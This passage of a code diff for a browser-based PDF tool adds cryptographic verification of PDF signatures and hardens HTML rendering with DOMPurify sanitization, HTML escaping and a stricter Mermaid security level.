case '1.2.840.113549.1.1.10': {
|
||||
const params = parsePssParams(signatureAlgorithmArr[1]);
|
||||
return {
|
||||
kind: 'rsa-pss',
|
||||
hashName: params.hashName,
|
||||
pssSaltLength: params.saltLength,
|
||||
};
|
||||
}
|
||||
case '1.2.840.10045.4.1':
|
||||
return { kind: 'ecdsa', hashName: 'SHA-1' };
|
||||
case '1.2.840.10045.4.3.2':
|
||||
return { kind: 'ecdsa', hashName: 'SHA-256' };
|
||||
case '1.2.840.10045.4.3.3':
|
||||
return { kind: 'ecdsa', hashName: 'SHA-384' };
|
||||
case '1.2.840.10045.4.3.4':
|
||||
return { kind: 'ecdsa', hashName: 'SHA-512' };
|
||||
case '1.2.840.10045.2.1':
|
||||
return implicitHash
|
||||
? { kind: 'ecdsa', hashName: implicitHash }
|
||||
: { unsupported: `Unsupported digest OID ${digestOid}` };
|
||||
default:
|
||||
return { unsupported: `Unsupported signature algorithm OID ${oid}` };
|
||||
}
|
||||
}
|
||||
|
||||
function parsePssParams(paramsNode: forge.asn1.Asn1 | undefined): {
|
||||
hashName: SigScheme['hashName'];
|
||||
saltLength: number;
|
||||
} {
|
||||
const fallback = { hashName: 'SHA-1' as const, saltLength: 20 };
|
||||
if (!paramsNode || !Array.isArray(paramsNode.value)) return fallback;
|
||||
let hashName: SigScheme['hashName'] = 'SHA-1';
|
||||
let saltLength = 20;
|
||||
for (const item of paramsNode.value) {
|
||||
if (item.tagClass !== forge.asn1.Class.CONTEXT_SPECIFIC) continue;
|
||||
if (item.type === 0 && Array.isArray(item.value) && item.value[0]) {
|
||||
const algoIdSeq = item.value[0];
|
||||
if (Array.isArray(algoIdSeq.value) && algoIdSeq.value[0]) {
|
||||
const hashOid = forge.asn1.derToOid(algoIdSeq.value[0].value as string);
|
||||
const resolved = hashNameFromOid(hashOid);
|
||||
if (resolved) hashName = resolved;
|
||||
}
|
||||
} else if (item.type === 2 && typeof item.value === 'string') {
|
||||
let n = 0;
|
||||
for (let i = 0; i < item.value.length; i++) {
|
||||
n = (n << 8) | item.value.charCodeAt(i);
|
||||
}
|
||||
if (n > 0 && n < 1024) saltLength = n;
|
||||
}
|
||||
}
|
||||
return { hashName, saltLength };
|
||||
}
|
||||
|
||||
function extractSpkiDer(
|
||||
p7: forge.pkcs7.PkcsSignedData & {
|
||||
rawCapture?: { certificates?: forge.asn1.Asn1 };
|
||||
}
|
||||
): Uint8Array | null {
|
||||
try {
|
||||
const certsNode = p7.rawCapture?.certificates;
|
||||
if (!certsNode || !Array.isArray(certsNode.value) || !certsNode.value[0]) {
|
||||
return null;
|
||||
}
|
||||
const certAsn1 = certsNode.value[0];
|
||||
if (!Array.isArray(certAsn1.value) || !certAsn1.value[0]) return null;
|
||||
const tbs = certAsn1.value[0];
|
||||
if (!Array.isArray(tbs.value)) return null;
|
||||
let startIdx = 0;
|
||||
if (
|
||||
tbs.value[0] &&
|
||||
tbs.value[0].tagClass === forge.asn1.Class.CONTEXT_SPECIFIC
|
||||
) {
|
||||
startIdx = 1;
|
||||
}
|
||||
const spkiAsn1 = tbs.value[startIdx + 5];
|
||||
if (!spkiAsn1) return null;
|
||||
return latin1ToUint8(forge.asn1.toDer(spkiAsn1).getBytes());
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function curveFromSpki(
|
||||
spkiDer: Uint8Array
|
||||
): { name: 'P-256' | 'P-384' | 'P-521'; coordBytes: number } | null {
|
||||
try {
|
||||
const spki = forge.asn1.fromDer(uint8ToLatin1(spkiDer));
|
||||
if (!Array.isArray(spki.value) || !spki.value[0]) return null;
|
||||
const algoId = spki.value[0];
|
||||
if (!Array.isArray(algoId.value) || !algoId.value[1]) return null;
|
||||
const params = algoId.value[1];
|
||||
if (params.type !== forge.asn1.Type.OID) return null;
|
||||
const oid = forge.asn1.derToOid(params.value as string);
|
||||
if (oid === '1.2.840.10045.3.1.7') return { name: 'P-256', coordBytes: 32 };
|
||||
if (oid === '1.3.132.0.34') return { name: 'P-384', coordBytes: 48 };
|
||||
if (oid === '1.3.132.0.35') return { name: 'P-521', coordBytes: 66 };
|
||||
return null;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function ecdsaDerToP1363(
|
||||
derSig: Uint8Array,
|
||||
coordBytes: number
|
||||
): Uint8Array | null {
|
||||
try {
|
||||
const parsed = forge.asn1.fromDer(uint8ToLatin1(derSig));
|
||||
if (!Array.isArray(parsed.value) || parsed.value.length !== 2) return null;
|
||||
const r = latin1ToUint8(parsed.value[0].value as string);
|
||||
const s = latin1ToUint8(parsed.value[1].value as string);
|
||||
const rStripped = r[0] === 0 && r.length > 1 ? r.slice(1) : r;
|
||||
const sStripped = s[0] === 0 && s.length > 1 ? s.slice(1) : s;
|
||||
if (rStripped.length > coordBytes || sStripped.length > coordBytes) {
|
||||
return null;
|
||||
}
|
||||
const out = new Uint8Array(coordBytes * 2);
|
||||
out.set(rStripped, coordBytes - rStripped.length);
|
||||
out.set(sStripped, coordBytes * 2 - sStripped.length);
|
||||
return out;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async function verifyViaWebCrypto(
|
||||
scheme: SigScheme,
|
||||
spkiDer: Uint8Array,
|
||||
signedBytes: Uint8Array,
|
||||
signatureBytes: Uint8Array
|
||||
): Promise<CryptoVerificationResult> {
|
||||
const subtle =
|
||||
typeof globalThis.crypto !== 'undefined' && globalThis.crypto.subtle
|
||||
? globalThis.crypto.subtle
|
||||
: null;
|
||||
if (!subtle) {
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason: 'Web Crypto API not available in this context',
|
||||
};
|
||||
}
|
||||
|
||||
const spki = new Uint8Array(spkiDer);
|
||||
const signed = new Uint8Array(signedBytes);
|
||||
const sig = new Uint8Array(signatureBytes);
|
||||
|
||||
try {
|
||||
if (scheme.kind === 'rsa-pss') {
|
||||
const key = await subtle.importKey(
|
||||
'spki',
|
||||
spki,
|
||||
{ name: 'RSA-PSS', hash: scheme.hashName },
|
||||
false,
|
||||
['verify']
|
||||
);
|
||||
const ok = await subtle.verify(
|
||||
{ name: 'RSA-PSS', saltLength: scheme.pssSaltLength ?? 32 },
|
||||
key,
|
||||
sig,
|
||||
signed
|
||||
);
|
||||
return ok
|
||||
? { status: 'verified' }
|
||||
: {
|
||||
status: 'failed',
|
||||
reason:
|
||||
'RSA-PSS signature does not verify against signer public key',
|
||||
};
|
||||
}
|
||||
|
||||
if (scheme.kind === 'ecdsa') {
|
||||
const curve = curveFromSpki(spki);
|
||||
if (!curve) {
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason: 'Unsupported ECDSA curve in signer certificate',
|
||||
};
|
||||
}
|
||||
const p1363 = ecdsaDerToP1363(sig, curve.coordBytes);
|
||||
if (!p1363) {
|
||||
return {
|
||||
status: 'failed',
|
||||
reason: 'Malformed ECDSA signature (could not parse r,s)',
|
||||
};
|
||||
}
|
||||
const key = await subtle.importKey(
|
||||
'spki',
|
||||
spki,
|
||||
{ name: 'ECDSA', namedCurve: curve.name },
|
||||
false,
|
||||
['verify']
|
||||
);
|
||||
const ok = await subtle.verify(
|
||||
{ name: 'ECDSA', hash: scheme.hashName },
|
||||
key,
|
||||
new Uint8Array(p1363),
|
||||
signed
|
||||
);
|
||||
return ok
|
||||
? { status: 'verified' }
|
||||
: {
|
||||
status: 'failed',
|
||||
reason: 'ECDSA signature does not verify against signer public key',
|
||||
};
|
||||
}
|
||||
|
||||
if (scheme.kind === 'rsa-pkcs1') {
|
||||
const key = await subtle.importKey(
|
||||
'spki',
|
||||
spki,
|
||||
{ name: 'RSASSA-PKCS1-v1_5', hash: scheme.hashName },
|
||||
false,
|
||||
['verify']
|
||||
);
|
||||
const ok = await subtle.verify('RSASSA-PKCS1-v1_5', key, sig, signed);
|
||||
return ok
|
||||
? { status: 'verified' }
|
||||
: {
|
||||
status: 'failed',
|
||||
reason:
|
||||
'RSA-PKCS1 signature does not verify against signer public key',
|
||||
};
|
||||
}
|
||||
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason: `Signature scheme ${scheme.kind} not implemented`,
|
||||
};
|
||||
} catch (e) {
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason:
|
||||
'Web Crypto import/verify failed: ' +
|
||||
(e instanceof Error ? e.message : String(e)),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
async function performCryptoVerification(
|
||||
p7: forge.pkcs7.PkcsSignedData & {
|
||||
rawCapture?: {
|
||||
signatureAlgorithm?: forge.asn1.Asn1[];
|
||||
certificates?: forge.asn1.Asn1;
|
||||
};
|
||||
},
|
||||
pdfBytes: Uint8Array,
|
||||
byteRange: number[],
|
||||
signerCert: forge.pki.Certificate,
|
||||
fields: SignerInfoFields | null
|
||||
): Promise<CryptoVerificationResult> {
|
||||
if (!fields) {
|
||||
return { status: 'failed', reason: 'Could not parse signer info' };
|
||||
}
|
||||
if (byteRange.length !== 4) {
|
||||
return { status: 'failed', reason: 'Malformed ByteRange' };
|
||||
}
|
||||
|
||||
const md = createMd(fields.digestOid);
|
||||
if (!md) {
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason: `Unsupported digest OID ${fields.digestOid}`,
|
||||
};
|
||||
}
|
||||
|
||||
const [start1, len1, start2, len2] = byteRange;
|
||||
if (
|
||||
start1 < 0 ||
|
||||
len1 < 0 ||
|
||||
start2 < 0 ||
|
||||
len2 < 0 ||
|
||||
start1 + len1 > pdfBytes.length ||
|
||||
start2 + len2 > pdfBytes.length
|
||||
) {
|
||||
return { status: 'failed', reason: 'ByteRange out of bounds' };
|
||||
}
|
||||
|
||||
const signedContent = new Uint8Array(len1 + len2);
|
||||
signedContent.set(pdfBytes.subarray(start1, start1 + len1), 0);
|
||||
signedContent.set(pdfBytes.subarray(start2, start2 + len2), len1);
|
||||
|
||||
md.update(uint8ToLatin1(signedContent));
|
||||
const contentHashBytes = md.digest().bytes();
|
||||
|
||||
const authAttrs = fields.authAttrs;
|
||||
const signatureBytes = fields.signatureBytes;
|
||||
if (!signatureBytes) {
|
||||
return { status: 'failed', reason: 'Empty signature bytes' };
|
||||
}
|
||||
|
||||
const scheme = detectSigScheme(
|
||||
p7.rawCapture?.signatureAlgorithm,
|
||||
fields.digestOid
|
||||
);
|
||||
if ('unsupported' in scheme) {
|
||||
return { status: 'unsupported', reason: scheme.unsupported };
|
||||
}
|
||||
|
||||
let messageDigestAttrValue: string | null = null;
|
||||
let signedBytesForVerify: Uint8Array;
|
||||
|
||||
if (authAttrs) {
|
||||
for (const attr of authAttrs) {
|
||||
if (!attr.value || !Array.isArray(attr.value) || attr.value.length < 2)
|
||||
continue;
|
||||
const oidNode = attr.value[0];
|
||||
const setNode = attr.value[1];
|
||||
if (!oidNode || oidNode.type !== forge.asn1.Type.OID) continue;
|
||||
const oid = forge.asn1.derToOid(oidNode.value as string);
|
||||
if (oid === forge.pki.oids.messageDigest) {
|
||||
if (
|
||||
setNode?.value &&
|
||||
Array.isArray(setNode.value) &&
|
||||
setNode.value[0]
|
||||
) {
|
||||
messageDigestAttrValue = setNode.value[0].value as string;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (messageDigestAttrValue === null) {
|
||||
return {
|
||||
status: 'failed',
|
||||
reason: 'messageDigest attribute missing from authenticated attributes',
|
||||
};
|
||||
}
|
||||
if (messageDigestAttrValue !== contentHashBytes) {
|
||||
return {
|
||||
status: 'failed',
|
||||
reason:
|
||||
'Content hash does not match messageDigest attribute — PDF was modified after signing',
|
||||
};
|
||||
}
|
||||
|
||||
const asSet = forge.asn1.create(
|
||||
forge.asn1.Class.UNIVERSAL,
|
||||
forge.asn1.Type.SET,
|
||||
true,
|
||||
authAttrs
|
||||
);
|
||||
signedBytesForVerify = latin1ToUint8(forge.asn1.toDer(asSet).getBytes());
|
||||
} else {
|
||||
signedBytesForVerify = signedContent;
|
||||
}
|
||||
|
||||
if (scheme.kind === 'rsa-pkcs1') {
|
||||
try {
|
||||
const publicKey = signerCert.publicKey as forge.pki.rsa.PublicKey;
|
||||
const md2 = createMd(fields.digestOid)!;
|
||||
md2.update(uint8ToLatin1(signedBytesForVerify));
|
||||
const ok = publicKey.verify(md2.digest().bytes(), signatureBytes);
|
||||
if (ok) return { status: 'verified' };
|
||||
} catch {
|
||||
// fall through to Web Crypto
|
||||
}
|
||||
}
|
||||
|
||||
const spkiDer = extractSpkiDer(p7);
|
||||
if (!spkiDer) {
|
||||
return {
|
||||
status: 'unsupported',
|
||||
reason: 'Could not extract signer public key',
|
||||
};
|
||||
}
|
||||
return verifyViaWebCrypto(
|
||||
scheme,
|
||||
spkiDer,
|
||||
signedBytesForVerify,
|
||||
latin1ToUint8(signatureBytes)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
// NOTE: This is a work in progress and does not work correctly as of yet
|
||||
import DOMPurify from 'dompurify';
|
||||
import { showLoader, hideLoader, showAlert } from '../ui.js';
|
||||
import { readFileAsArrayBuffer } from '../utils/helpers.js';
|
||||
import { state } from '../state.js';
|
||||
@@ -41,17 +42,20 @@ export async function wordToPdf() {
|
||||
const downloadBtn = document.getElementById('preview-download-btn');
|
||||
const closeBtn = document.getElementById('preview-close-btn');
|
||||
|
||||
const styledHtml = `
|
||||
<style>
|
||||
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
|
||||
#preview-content table { border-collapse: collapse; width: 100%; }
|
||||
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
|
||||
#preview-content img { max-width: 100%; height: auto; }
|
||||
#preview-content a { color: #0000ee; text-decoration: underline; }
|
||||
</style>
|
||||
${html}
|
||||
`;
|
||||
previewContent.innerHTML = styledHtml;
|
||||
const STYLE_ID = 'word-to-pdf-preview-style';
|
||||
if (!document.getElementById(STYLE_ID)) {
|
||||
const styleEl = document.createElement('style');
|
||||
styleEl.id = STYLE_ID;
|
||||
styleEl.textContent = `
|
||||
#preview-content { font-family: 'Times New Roman', Times, serif; font-size: 12pt; line-height: 1.5; color: black; }
|
||||
#preview-content table { border-collapse: collapse; width: 100%; }
|
||||
#preview-content td, #preview-content th { border: 1px solid #dddddd; text-align: left; padding: 8px; }
|
||||
#preview-content img { max-width: 100%; height: auto; }
|
||||
#preview-content a { color: #0000ee; text-decoration: underline; }
|
||||
`;
|
||||
document.head.appendChild(styleEl);
|
||||
}
|
||||
previewContent.innerHTML = DOMPurify.sanitize(html);
|
||||
|
||||
const marginDiv = document.createElement('div');
|
||||
marginDiv.style.height = '100px';
|
||||
|
||||
@@ -5,7 +5,11 @@ import { createIcons, icons } from 'lucide';
|
||||
import '@phosphor-icons/web/regular';
|
||||
import * as pdfjsLib from 'pdfjs-dist';
|
||||
import '../css/styles.css';
|
||||
import { formatShortcutDisplay, formatStars } from './utils/helpers.js';
|
||||
import {
|
||||
escapeHtml,
|
||||
formatShortcutDisplay,
|
||||
formatStars,
|
||||
} from './utils/helpers.js';
|
||||
import {
|
||||
initI18n,
|
||||
applyTranslations,
|
||||
@@ -1051,8 +1055,8 @@ const init = async () => {
|
||||
|
||||
await showWarningModal(
|
||||
t('settings.warnings.alreadyInUse'),
|
||||
`<strong>${displayCombo}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
|
||||
`<em>"${translatedToolName}"</em><br><br>` +
|
||||
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.assignedTo')}<br><br>` +
|
||||
`<em>"${escapeHtml(translatedToolName)}"</em><br><br>` +
|
||||
t('settings.warnings.chooseDifferent'),
|
||||
false
|
||||
);
|
||||
@@ -1071,8 +1075,8 @@ const init = async () => {
|
||||
const displayCombo = formatShortcutDisplay(combo, isMac);
|
||||
const shouldProceed = await showWarningModal(
|
||||
t('settings.warnings.reserved'),
|
||||
`<strong>${displayCombo}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
|
||||
`"<em>${reservedWarning}</em>"<br><br>` +
|
||||
`<strong>${escapeHtml(displayCombo)}</strong> ${t('settings.warnings.commonlyUsed')}<br><br>` +
|
||||
`"<em>${escapeHtml(reservedWarning)}</em>"<br><br>` +
|
||||
`${t('settings.warnings.unreliable')}<br><br>` +
|
||||
t('settings.warnings.useAnyway')
|
||||
);
|
||||
|
||||
@@ -1,55 +1,111 @@
|
||||
/**
|
||||
* Service Worker Registration
|
||||
* Registers the service worker to enable offline caching
|
||||
*
|
||||
*
|
||||
* Note: Service Worker is disabled in development mode to prevent
|
||||
* conflicts with Vite's HMR (Hot Module Replacement)
|
||||
*/
|
||||
|
||||
// Skip service worker registration in development mode
|
||||
const isDevelopment = window.location.hostname === 'localhost' ||
|
||||
window.location.hostname === '127.0.0.1' ||
|
||||
window.location.port !== '';
|
||||
const isDevelopment =
|
||||
window.location.hostname === 'localhost' ||
|
||||
window.location.hostname === '127.0.0.1' ||
|
||||
window.location.port !== '';
|
||||
|
||||
function collectTrustedWasmHosts(): string[] {
|
||||
const hosts = new Set<string>();
|
||||
const candidates = [
|
||||
import.meta.env.VITE_WASM_PYMUPDF_URL,
|
||||
import.meta.env.VITE_WASM_GS_URL,
|
||||
import.meta.env.VITE_WASM_CPDF_URL,
|
||||
import.meta.env.VITE_TESSERACT_WORKER_URL,
|
||||
import.meta.env.VITE_TESSERACT_CORE_URL,
|
||||
import.meta.env.VITE_TESSERACT_LANG_URL,
|
||||
import.meta.env.VITE_OCR_FONT_BASE_URL,
|
||||
];
|
||||
for (const raw of candidates) {
|
||||
if (!raw) continue;
|
||||
try {
|
||||
hosts.add(new URL(raw).origin);
|
||||
} catch {
|
||||
console.warn(
|
||||
`[SW] Ignoring malformed VITE_* URL for SW trusted-hosts: ${raw}`
|
||||
);
|
||||
}
|
||||
}
|
||||
return Array.from(hosts);
|
||||
}
|
||||
|
||||
function sendTrustedHostsToSw(target: ServiceWorker | null | undefined) {
|
||||
if (!target) return;
|
||||
const hosts = collectTrustedWasmHosts();
|
||||
if (hosts.length === 0) return;
|
||||
target.postMessage({ type: 'SET_TRUSTED_CDN_HOSTS', hosts });
|
||||
}
|
||||
|
||||
if (isDevelopment) {
|
||||
console.log('[Dev Mode] Service Worker registration skipped in development');
|
||||
console.log('Service Worker will be active in production builds');
|
||||
console.log('[Dev Mode] Service Worker registration skipped in development');
|
||||
console.log('Service Worker will be active in production builds');
|
||||
} else if ('serviceWorker' in navigator) {
|
||||
window.addEventListener('load', () => {
|
||||
const swPath = `${import.meta.env.BASE_URL}sw.js`;
|
||||
console.log('[SW] Registering Service Worker at:', swPath);
|
||||
navigator.serviceWorker
|
||||
.register(swPath)
|
||||
.then((registration) => {
|
||||
console.log('[SW] Service Worker registered successfully:', registration.scope);
|
||||
window.addEventListener('load', () => {
|
||||
const swPath = `${import.meta.env.BASE_URL}sw.js`;
|
||||
console.log('[SW] Registering Service Worker at:', swPath);
|
||||
navigator.serviceWorker
|
||||
.register(swPath)
|
||||
.then((registration) => {
|
||||
console.log(
|
||||
'[SW] Service Worker registered successfully:',
|
||||
registration.scope
|
||||
);
|
||||
|
||||
setInterval(() => {
|
||||
registration.update();
|
||||
}, 24 * 60 * 60 * 1000);
|
||||
sendTrustedHostsToSw(
|
||||
registration.active || registration.waiting || registration.installing
|
||||
);
|
||||
|
||||
registration.addEventListener('updatefound', () => {
|
||||
const newWorker = registration.installing;
|
||||
if (newWorker) {
|
||||
newWorker.addEventListener('statechange', () => {
|
||||
if (newWorker.state === 'installed' && navigator.serviceWorker.controller) {
|
||||
console.log('[SW] New version available! Reload to update.');
|
||||
setInterval(
|
||||
() => {
|
||||
registration.update();
|
||||
},
|
||||
24 * 60 * 60 * 1000
|
||||
);
|
||||
|
||||
if (confirm('A new version of BentoPDF is available. Reload to update?')) {
|
||||
newWorker.postMessage({ type: 'SKIP_WAITING' });
|
||||
window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
})
|
||||
.catch((error) => {
|
||||
console.error('[SW] Service Worker registration failed:', error);
|
||||
registration.addEventListener('updatefound', () => {
|
||||
const newWorker = registration.installing;
|
||||
if (newWorker) {
|
||||
newWorker.addEventListener('statechange', () => {
|
||||
if (newWorker.state === 'activated') {
|
||||
sendTrustedHostsToSw(newWorker);
|
||||
}
|
||||
if (
|
||||
newWorker.state === 'installed' &&
|
||||
navigator.serviceWorker.controller
|
||||
) {
|
||||
console.log('[SW] New version available! Reload to update.');
|
||||
|
||||
if (
|
||||
confirm(
|
||||
'A new version of BentoPDF is available. Reload to update?'
|
||||
)
|
||||
) {
|
||||
newWorker.postMessage({ type: 'SKIP_WAITING' });
|
||||
window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
navigator.serviceWorker.addEventListener('controllerchange', () => {
|
||||
console.log('[SW] New service worker activated, reloading...');
|
||||
window.location.reload();
|
||||
}
|
||||
});
|
||||
})
|
||||
.catch((error) => {
|
||||
console.error('[SW] Service Worker registration failed:', error);
|
||||
});
|
||||
|
||||
navigator.serviceWorker.ready.then((registration) => {
|
||||
sendTrustedHostsToSw(registration.active);
|
||||
});
|
||||
|
||||
navigator.serviceWorker.addEventListener('controllerchange', () => {
|
||||
console.log('[SW] New service worker activated, reloading...');
|
||||
window.location.reload();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@@ -1,47 +1,51 @@
|
||||
import forge from 'node-forge';
|
||||
|
||||
export interface SignatureValidationResult {
|
||||
signatureIndex: number;
|
||||
isValid: boolean;
|
||||
signerName: string;
|
||||
signerOrg?: string;
|
||||
signerEmail?: string;
|
||||
issuer: string;
|
||||
issuerOrg?: string;
|
||||
signatureDate?: Date;
|
||||
validFrom: Date;
|
||||
validTo: Date;
|
||||
isExpired: boolean;
|
||||
isSelfSigned: boolean;
|
||||
isTrusted: boolean;
|
||||
algorithms: {
|
||||
digest: string;
|
||||
signature: string;
|
||||
};
|
||||
serialNumber: string;
|
||||
reason?: string;
|
||||
location?: string;
|
||||
contactInfo?: string;
|
||||
byteRange?: number[];
|
||||
coverageStatus: 'full' | 'partial' | 'unknown';
|
||||
errorMessage?: string;
|
||||
signatureIndex: number;
|
||||
isValid: boolean;
|
||||
signerName: string;
|
||||
signerOrg?: string;
|
||||
signerEmail?: string;
|
||||
issuer: string;
|
||||
issuerOrg?: string;
|
||||
signatureDate?: Date;
|
||||
validFrom: Date;
|
||||
validTo: Date;
|
||||
isExpired: boolean;
|
||||
isSelfSigned: boolean;
|
||||
isTrusted: boolean;
|
||||
algorithms: {
|
||||
digest: string;
|
||||
signature: string;
|
||||
};
|
||||
serialNumber: string;
|
||||
reason?: string;
|
||||
location?: string;
|
||||
contactInfo?: string;
|
||||
byteRange?: number[];
|
||||
coverageStatus: 'full' | 'partial' | 'unknown';
|
||||
errorMessage?: string;
|
||||
cryptoVerified?: boolean;
|
||||
cryptoVerificationStatus?: 'verified' | 'failed' | 'unsupported';
|
||||
unsupportedAlgorithmReason?: string;
|
||||
usesInsecureDigest?: boolean;
|
||||
}
|
||||
|
||||
export interface ExtractedSignature {
|
||||
index: number;
|
||||
contents: Uint8Array;
|
||||
byteRange: number[];
|
||||
reason?: string;
|
||||
location?: string;
|
||||
contactInfo?: string;
|
||||
name?: string;
|
||||
signingTime?: string;
|
||||
index: number;
|
||||
contents: Uint8Array;
|
||||
byteRange: number[];
|
||||
reason?: string;
|
||||
location?: string;
|
||||
contactInfo?: string;
|
||||
name?: string;
|
||||
signingTime?: string;
|
||||
}
|
||||
|
||||
export interface ValidateSignatureState {
|
||||
pdfFile: File | null;
|
||||
pdfBytes: Uint8Array | null;
|
||||
results: SignatureValidationResult[];
|
||||
trustedCertFile: File | null;
|
||||
trustedCert: forge.pki.Certificate | null;
|
||||
pdfFile: File | null;
|
||||
pdfBytes: Uint8Array | null;
|
||||
results: SignatureValidationResult[];
|
||||
trustedCertFile: File | null;
|
||||
trustedCert: forge.pki.Certificate | null;
|
||||
}
|
||||
|
||||
@@ -4,6 +4,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
|
||||
import { createIcons } from 'lucide';
|
||||
import { state, resetState } from '../state.js';
|
||||
import * as pdfjsLib from 'pdfjs-dist';
|
||||
import DOMPurify from 'dompurify';
|
||||
import type { DocumentInitParameters } from 'pdfjs-dist/types/src/display/api';
|
||||
|
||||
const STANDARD_SIZES = {
|
||||
@@ -319,19 +320,12 @@ export function uint8ArrayToBase64(bytes: Uint8Array): string {
|
||||
export function sanitizeEmailHtml(html: string): string {
|
||||
if (!html) return html;
|
||||
|
||||
let sanitized = html;
|
||||
let sanitized = DOMPurify.sanitize(html, {
|
||||
FORBID_TAGS: ['style', 'link', 'script', 'iframe', 'object', 'embed'],
|
||||
FORBID_ATTR: ['style'],
|
||||
ALLOW_DATA_ATTR: false,
|
||||
});
|
||||
|
||||
sanitized = sanitized.replace(/<head[^>]*>[\s\S]*?<\/head>/gi, '');
|
||||
sanitized = sanitized.replace(/<style[^>]*>[\s\S]*?<\/style>/gi, '');
|
||||
sanitized = sanitized.replace(/<script[^>]*>[\s\S]*?<\/script>/gi, '');
|
||||
sanitized = sanitized.replace(/<link[^>]*>/gi, '');
|
||||
sanitized = sanitized.replace(/\s+style=["'][^"']*["']/gi, '');
|
||||
sanitized = sanitized.replace(/\s+class=["'][^"']*["']/gi, '');
|
||||
sanitized = sanitized.replace(/\s+data-[a-z-]+=["'][^"']*["']/gi, '');
|
||||
sanitized = sanitized.replace(
|
||||
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
|
||||
''
|
||||
);
|
||||
sanitized = sanitized.replace(
|
||||
/href=["']https?:\/\/[^"']*safelinks\.protection\.outlook\.com[^"']*url=([^&"']+)[^"']*["']/gi,
|
||||
(match, encodedUrl) => {
|
||||
@@ -343,10 +337,9 @@ export function sanitizeEmailHtml(html: string): string {
|
||||
}
|
||||
}
|
||||
);
|
||||
sanitized = sanitized.replace(/\s+originalsrc=["'][^"']*["']/gi, '');
|
||||
sanitized = sanitized.replace(
|
||||
/href=["']([^"']{500,})["']/gi,
|
||||
(match, url) => {
|
||||
(_match, url: string) => {
|
||||
const baseUrl = url.split('?')[0];
|
||||
if (baseUrl && baseUrl.length < 200) {
|
||||
return `href="${baseUrl}"`;
|
||||
@@ -354,15 +347,12 @@ export function sanitizeEmailHtml(html: string): string {
|
||||
return `href="${url.substring(0, 200)}"`;
|
||||
}
|
||||
);
|
||||
|
||||
sanitized = sanitized.replace(
|
||||
/\s+(cellpadding|cellspacing|bgcolor|border|valign|align|width|height|role|dir|id)=["'][^"']*["']/gi,
|
||||
/<img[^>]*(?:width=["']1["'][^>]*height=["']1["']|height=["']1["'][^>]*width=["']1["'])[^>]*\/?>/gi,
|
||||
''
|
||||
);
|
||||
sanitized = sanitized.replace(/<\/?table[^>]*>/gi, '<div>');
|
||||
sanitized = sanitized.replace(/<\/?tbody[^>]*>/gi, '');
|
||||
sanitized = sanitized.replace(/<\/?thead[^>]*>/gi, '');
|
||||
sanitized = sanitized.replace(/<\/?tfoot[^>]*>/gi, '');
|
||||
sanitized = sanitized.replace(/<\/?(tbody|thead|tfoot)[^>]*>/gi, '');
|
||||
sanitized = sanitized.replace(/<tr[^>]*>/gi, '<div>');
|
||||
sanitized = sanitized.replace(/<\/tr>/gi, '</div>');
|
||||
sanitized = sanitized.replace(/<td[^>]*>/gi, '<span> ');
|
||||
@@ -373,10 +363,6 @@ export function sanitizeEmailHtml(html: string): string {
|
||||
sanitized = sanitized.replace(/<span>\s*<\/span>/gi, '');
|
||||
sanitized = sanitized.replace(/(<div>)+/gi, '<div>');
|
||||
sanitized = sanitized.replace(/(<\/div>)+/gi, '</div>');
|
||||
sanitized = sanitized.replace(
|
||||
/<a[^>]*href=["']\s*["'][^>]*>([^<]*)<\/a>/gi,
|
||||
'$1'
|
||||
);
|
||||
|
||||
const MAX_HTML_SIZE = 100000;
|
||||
if (sanitized.length > MAX_HTML_SIZE) {
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import MarkdownIt from 'markdown-it';
|
||||
import DOMPurify from 'dompurify';
|
||||
import hljs from 'highlight.js/lib/core';
|
||||
import javascript from 'highlight.js/lib/languages/javascript';
|
||||
import typescript from 'highlight.js/lib/languages/typescript';
|
||||
@@ -297,7 +298,7 @@ export class MarkdownEditor {
|
||||
mermaid.initialize({
|
||||
startOnLoad: false,
|
||||
theme: 'default',
|
||||
securityLevel: 'loose',
|
||||
securityLevel: 'strict',
|
||||
fontFamily:
|
||||
'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif',
|
||||
});
|
||||
@@ -691,7 +692,9 @@ export class MarkdownEditor {
|
||||
|
||||
const markdown = this.editor.value;
|
||||
const html = this.md.render(markdown);
|
||||
this.preview.innerHTML = html;
|
||||
this.preview.innerHTML = DOMPurify.sanitize(html, {
|
||||
ADD_ATTR: ['target'],
|
||||
});
|
||||
this.renderMermaidDiagrams();
|
||||
}
|
||||
|
||||
@@ -714,7 +717,9 @@ export class MarkdownEditor {
|
||||
|
||||
const wrapper = document.createElement('div');
|
||||
wrapper.className = 'mermaid-diagram';
|
||||
wrapper.innerHTML = svg;
|
||||
wrapper.innerHTML = DOMPurify.sanitize(svg, {
|
||||
USE_PROFILES: { svg: true, svgFilters: true },
|
||||
});
|
||||
|
||||
pre.replaceWith(wrapper);
|
||||
} catch (error) {
|
||||
@@ -740,7 +745,9 @@ export class MarkdownEditor {
|
||||
}
|
||||
|
||||
public getHtml(): string {
|
||||
return this.md.render(this.getContent());
|
||||
